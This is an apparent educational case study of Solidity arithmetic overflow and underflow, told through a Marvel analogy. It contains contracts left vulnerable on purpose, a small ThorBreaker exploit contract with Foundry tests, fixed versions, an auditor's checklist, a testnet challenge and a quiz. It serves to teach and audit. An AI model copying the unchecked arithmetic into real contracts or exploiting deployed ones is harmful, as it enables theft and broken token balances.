
⚡ Thor Breaks Math - Arithmetic Overflow & Underflow in Solidity
Executive Summary
Arithmetic overflow and underflow are classic vulnerabilities that plagued Solidity contracts before version 0.8.0.
- Pre-0.8.0: Arithmetic was unchecked by default. Overflows/underflows silently wrapped.
- Post-0.8.0: Arithmetic is checked by default. Overflows/underflows revert, unless explicitly wrapped in an
unchecked {}
block.
This case study illustrates both versions through an MCU analogy:
- Hulk 🟢 (Overflow): Unlimited rage that cannot be contained in finite bounds.
- Iron Man Suit 🤖 (Underflow): Energy drained below zero, causing catastrophic wraparound.
🎬 Story Time - The Battle
Thor ⚡️ enters the battlefield. His mission: test the limits of Hulk’s rage and Iron Man’s power suit.
-
Round 1: HulkRageToken (Overflow) Thor pushes Hulk’s rage meter past its limits. At first, Hulk gets angrier, but once his rage exceeds the storage limit (
uint8 = 255
), it wraps around to a calm number. Thor laughs - the strongest Avenger has been tricked by math. -
Round 2: IronManSuit (Underflow) Thor drains the Iron Man suit’s energy beyond zero. Instead of shutting down, the suit glitches, overflowing into maximum power (
2²⁵⁶ − 1
). The suit explodes into chaos, handing Thor unlimited energy.
All Files Available here.
Vulnerable Contracts (Pre-0.8.0)
HulkRageToken.sol (Overflow)
Context: Read about overflow/underflow
in <0.8.0 docu here
.
- This contract demonstrates an Arithmetic Overflow vulnerability
- that existed in Solidity versions <0.8.0.
- In these versions, arithmetic operations (addition, subtraction, multiplication)
- did NOT revert on overflow/underflow - they silently wrapped around.
// SPDX-License-Identifier: MITpragma solidity ^0.7.6;
// Example:// If rage[msg.sender] = 250 (uint8) and user calls getAngry(10),// result = 260 → wraps back to 4.// This breaks logic, since Hulk's rage "resets" unexpectedly.//// ⚠️ Important for Auditors:// - Overflow in <0.8.0 is silent and must be mitigated using SafeMath (OpenZeppelin).// - From Solidity 0.8.0 onwards, overflow/underflow reverts by default,// unless explicitly wrapped in an `unchecked` block.
contract HulkRageToken { mapping(address => uint8) public rage;
function getAngry(uint8 _increaseAmount) public { // Vulnerable: Silent overflow in <0.8.0. rage[msg.sender] += _increaseAmount; }}
IronManSuit.sol (Underflow)
Context: Read about overflow/underflow
in <0.8.0 docu here
.
- This contract demonstrates an Arithmetic Underflow vulnerability
- that existed in Solidity versions <0.8.0.
- In these versions, subtraction on unsigned integers (uint)
- did NOT revert when going below zero - instead, it silently wrapped
- to a very large number (close to 2^256).
// SPDX-License-Identifier: MITpragma solidity ^0.7.6;
// Example:// If energy[msg.sender] = 0 and user calls drainEnergy(100),// result = 0 - 100 → wraps to (2^256 - 100).// This means Iron Man’s suit suddenly shows *massive* energy instead of depleting.//// ⚠️ Important for Auditors:// - Underflow in <0.8.0 is silent and must be mitigated using SafeMath (OpenZeppelin).// - From Solidity 0.8.0 onwards, subtraction below zero reverts by default,// unless explicitly wrapped in an `unchecked` block.
contract IronManSuit { mapping(address => uint256) public energy;
constructor() { energy[msg.sender] = 1000; }
function drainEnergy(uint256 _drainAmount) public { // Vulnerable: Silent underflow in <0.8.0. energy[msg.sender] -= _drainAmount; }}
Vulnerable Contracts (Post-0.8.0 with unchecked
)
HulkRageToken.sol
Context: Read about unchecked
docu here
.
-
- Solidity ^0.8.0 introduced “checked arithmetic” by default.
- → Normally,
uint8 + uint8
that exceeds 255 will revert. -
- Using
unchecked { ... }
disables these checks.
- Using
- → Overflow silently wraps around (like in <0.8.0).
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
/* * Demonstrates an arithmetic **overflow** vulnerability. * * Example: * rage[user] = 250 * user calls getAngry(10) * 250 + 10 = 260 → exceeds max(255) * Wraparound: 260 - 256 = 4 * Final rage = 4 instead of reverting * * Why it’s bad: * - Any logic depending on `rage` (rewards, checks, thresholds) * can be bypassed or broken. */contract HulkRageToken { // Rage levels stored per address (uint8 = 0–255 max). mapping(address => uint8) public rage;
/* * Increase caller’s rage. * * ⚠️ Vulnerability: * - `unchecked { ... }` disables overflow protection. * - If addition > 255, value wraps back to 0–255. */ function getAngry(uint8 _increaseAmount) public { unchecked { rage[msg.sender] += _increaseAmount; } }}
IronManSuit.sol
Context: Read about unchecked
docu here
.
-
- Solidity ^0.8.0 checks arithmetic by default.
- → Normally,
0 - 1
would revert with an error. -
- Using
unchecked { ... }
disables this safety.
- Using
- → Subtraction below zero wraps around to max(uint256).
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;/* * Demonstrates an arithmetic **underflow** vulnerability. * * Example: * energy[user] = 0 * user calls drainEnergy(100) * 0 - 100 = -100 (invalid for uint256) * Wraparound: uint256 max (2^256 - 1) - 99 * Final energy = 115792089237316195423570985008687907853269984665640564039457584007913129639935 * * Why it’s bad: * - Attacker can convert a zero balance into an **enormous value**. * - Breaks tokenomics, supply constraints, or game mechanics. */contract IronManSuit { // Each address has an energy balance (uint256 can hold huge numbers). mapping(address => uint256) public energy;
constructor() { // Deployer starts with some energy. energy[msg.sender] = 1000; }
/* * Drain caller’s energy. * * ⚠️ Vulnerability: * - No check if user has enough energy. * - Underflow causes wraparound to a massive value. */ function drainEnergy(uint256 _drainAmount) public { unchecked { energy[msg.sender] -= _drainAmount; } }}
Proof of Exploit
ThorBreaker.sol
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
import {HulkRageToken} from "./Post/HulkRageToken.sol";import {IronManSuit} from "./Post/IronManSuit.sol";
contract ThorBreaker { HulkRageToken public hulk; IronManSuit public ironMan;
constructor(address _hulk, address _ironMan) { hulk = HulkRageToken(_hulk); ironMan = IronManSuit(_ironMan); }
function breakHulk() external { // Step 1: Increase rage close to max (255) hulk.getAngry(250); // rage = 250
// Step 2: Trigger overflow // 250 + 10 = 260 → wraps to 4 hulk.getAngry(10); }
function breakIronMan() external { // Step 1: Start with energy = 0 // Step 2: Drain 100 → underflow to 2^256 - 100 ironMan.drainEnergy(100); }}
Foundry Test Example (ThorBreakerTest.t.sol
)
// SPDX-License-Identifier: MITpragma solidity ^0.8.24;
5 collapsed lines
import {Test} from "forge-std/Test.sol";import {HulkRageToken} from "../src/HulkRageToken.sol";import {IronManSuit} from "../src/IronManSuit.sol";import {ThorBreaker} from "../src/ThorBreaker.sol";
contract ThorBreakerTest is Test { HulkRageToken hulk; IronManSuit ironMan; ThorBreaker thor;
function setUp() public { hulk = new HulkRageToken(); ironMan = new IronManSuit(); thor = new ThorBreaker(address(hulk), address(ironMan)); }
function test_Break_Hulk() public { thor.breakHulk(); uint8 finalRage = hulk.rage(address(thor)); assertEq(finalRage, 4, "Overflow exploit failed"); }
function test_Break_IronMan() public { thor.breakIronMan(); uint256 finalEnergy = ironMan.energy(address(thor)); assertEq(finalEnergy, type(uint256).max - 99, "Underflow exploit failed"); }}
Running the Tests
With Foundry:
forge test -vv
You’ll see logs like:
[PASS] test_Break_Hulk() (gas: xxxx)[PASS] test_Break_Iron-Man() (gas: xxxx)
Fixed Contracts
HulkRageTokenFixed.sol
// SPDX-License-Identifier: MIT pragma solidity ^0.8.24; // updated version
contract HulkRageTokenFixed { mapping(address => uint8) public rage;
function getAngry(uint8 _increaseAmount) public { rage[msg.sender] += _increaseAmount; // Checked by default }}
IronManSuitFixed.sol
// SPDX-License-Identifier: MITpragma solidity ^0.8.24; // updated version
contract IronManSuitFixed { mapping(address => uint256) public energy;
constructor() { energy[msg.sender] = 1000; }
function drainEnergy(uint256 _drainAmount) public { require(energy[msg.sender] >= _drainAmount, "Not enough energy"); energy[msg.sender] -= _drainAmount; }}
Auditor’s Checklist
- Using Solidity <0.8.0 (unchecked arithmetic by default)?
- Any explicit
unchecked
blocks in 0.8+ without proper validation? - Missing
require()
checks on subtraction? - Edge cases tested for
0
andmax(uintX)
values?
Severity & Impact
-
Overflow (HulkRageToken) Severity: High – can bypass logic checks.
-
Underflow (IronManSuit) Severity: Critical – attacker can gain massive balances.
Business Risk: Broken tokenomics, infinite balances, game-breaking logic, financial loss.
Recommendations
- Always use Solidity ≥0.8.0 where safe math is default.
- Avoid
unchecked
unless gas-optimized and justified. - Validate inputs before subtraction.
- For legacy code (<0.8.0): use OpenZeppelin SafeMath.
- Test edge cases thoroughly.
Challenge: Break Thor’s Math! ⚡
Challenge Name: Hulk vs. Iron Man’s Arithmetic Bug
- Description: Prove you can push Solidity’s limits like the God of Thunder! Exploit the arithmetic vulnerabilities in the Hulk and Iron Man contracts.
Steps:
-
Deploy both
HulkRageToken.sol
andIronManSuit.sol
on the Sepolia testnet (use Remix or Foundry). -
Execute the Overflow attack (Hulk) to set the rage to a low, unexpected value.
-
Execute the Underflow attack (Iron Man) to give your account a massive, unexpected
energy
balance. -
Implement the fix:
- Use Solidity ≥0.8.0 without
unchecked
blocks or - Add a
require
statement to prevent underflow.
- Use Solidity ≥0.8.0 without
-
Submit your fixed contract’s Sepolia address to the Discussions tab, and share your Sepolia address on X with
#TheSandFChallenge
and tag@THE_SANDF
. -
Bonus: Post a screenshot showing the massive underflow balance you achieved!
-
Top submissions earn a chance to join our audit beta program.
Quiz: Test Your Understanding
- What is the primary difference in arithmetic behavior between Solidity <0.8.0 and Solidity ≥0.8.0?
-
a) In <0.8.0, division by zero reverts; in ≥0.8.0, it returns zero.
-
b) In <0.8.0, overflow/underflow reverts; in ≥0.8.0, it silently wraps around.
-
c) In <0.8.0, arithmetic silently wraps; in ≥0.8.0, it reverts by default.
-
d) In <0.8.0, uint is 32-bit; in ≥0.8.0, uint is 256-bit.
Show Answer
Answer: c) In <0.8.0, arithmetic silently wraps; in ≥0.8.0, it reverts by default.
Explanation: Prior to 0.8.0, arithmetic was unchecked (silent wrapping). In 0.8.0 and later, arithmetic is checked by default, causing a revert on overflow/underflow, unless inside an
unchecked {}
block.
- How does the underflow exploit in
IronManSuit.sol
(0.8.0 withunchecked
) allow the attacker to gain a massive energy balance?
-
a) Subtraction below zero causes the transaction to revert, protecting funds.
-
b) The balance wraps around from 0 to a number close to 2²⁵⁶.
-
c) The
unchecked
block temporarily changes the variable fromuint256
toint256
. -
d) The low balance triggers a bonus reward function.
Show Answer
Answer: b) The balance wraps around from 0 to a number close to 2²⁵⁶.
Explanation: When an unsigned integer (
uint
) is subtracted below zero, it underflows and wraps around to the largest possible value, giving the attacker an enormous balance.
- Which of the following is the most effective fix to prevent the underflow vulnerability in the
drainEnergy
function?
-
a) Removing the
unchecked {}
block and using Solidity ≥0.8.0. -
b) Changing the
energy
variable fromuint256
touint8
. -
c) Using the
transfer()
method instead ofcall()
for all transactions. -
d) Making the
energy
mapping private.Show Answer
Answer: a) Removing the
unchecked {}
block and using Solidity ≥0.8.0.Explanation: In Solidity ≥0.8.0, removing the
unchecked {}
block restores the default behavior of checked arithmetic, which causes the transaction to revert if the result is negative, thus preventing the underflow.
References
-
MCU: Thor: Ragnarok (2017) – Thor battles Hulk’s uncontrollable rage, and Iron Man’s armor glitches under stress. Perfect metaphors for overflow and underflow.
-
Historical Exploits:
-
BatchOverflow (2018) – A famous ERC20 vulnerability where multiplication overflow allowed attackers to mint unlimited tokens.
- Root cause: Missing SafeMath checks in token logic.
- Impact: Billions of tokens created out of thin air.
- PeckShield Postmortem
-
Rubixi Ponzi (2016) – Early contracts failed to account for safe arithmetic, enabling logic bypasses and unstable payouts.
-
Fomo3D-style Games – Relied on countdowns and counters that were exploitable via wraparound if unchecked.
-
-
Modern Fixes:
- Solidity ≥0.8.0: Arithmetic checked by default - no silent overflow/underflow.
unchecked {}
: Still dangerous if used carelessly.- OpenZeppelin SafeMath (pre-0.8.0): Historical go-to for preventing arithmetic bugs.
NOTELike Hulk’s uncontrollable rage and Iron Man’s unstable suit, unchecked arithmetic is dangerous. Modern Solidity makes it safer, but auditors must stay vigilant for legacy contracts and unsafe use of
unchecked
.
Ready to Battle Bugs?
Join the Defi CTF Challenge! Audit vulnerable contracts in our Defi CTF Challenges (Full credit to Hans Friese, co-founder of Cyfrin.), submit your report via GitHub Issues/Discussions, or tag @THE_SANDF on X. Let’s secure the Web3 multiverse together! 🏗️ Start the Challenge